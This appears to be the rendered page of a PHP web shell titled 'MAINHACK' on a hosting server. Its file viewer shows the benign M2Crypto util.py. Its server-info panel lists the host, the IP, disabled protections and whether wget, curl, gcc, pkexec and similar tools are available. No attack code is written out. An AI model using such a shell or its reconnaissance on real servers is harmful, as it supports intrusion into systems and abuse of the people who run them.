[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: util.py
File is not writable. Editing disabled.
""" M2Crypto utility routines. Copyright (c) 1999-2004 Ng Pheng Siong. All rights reserved. Portions created by Open Source Applications Foundation (OSAF) are Copyright (C) 2004 OSAF. All Rights Reserved. """ import sys import m2 class UtilError(Exception): pass m2.util_init(UtilError) def h2b(s): import array, string ar=array.array('c') start=0 if s[:2]=='0x': start=2 for i in range(start, len(s), 2): num=string.atoi("%s"%(s[i:i+2],), 16) ar.append(chr(num)) return ar.tostring() def pkcs5_pad(data, blklen=8): pad=(8-(len(data)%8)) return data+chr(pad)*pad def pkcs7_pad(data, blklen): if blklen>255: raise ValueError, 'illegal block size' pad=(blklen-(len(data)%blklen)) return data+chr(pad)*pad def octx_to_num(x): v = 0L lx = len(x) for i in range(lx): v = v + ord(x[i]) * (256L ** (lx-i-1)) return v def genparam_callback(p, n, out=sys.stdout): ch = ['.','+','*','\n'] out.write(ch[p]) out.flush() def quiet_genparam_callback(p, n, out): pass def passphrase_callback(v, prompt1='Enter passphrase:', prompt2='Verify passphrase:'): from getpass import getpass while 1: try: p1=getpass(prompt1) if v: p2=getpass(prompt2) if p1==p2: break else: break except KeyboardInterrupt: return None return p1 def no_passphrase_callback(*args): return ''
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 339.38 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A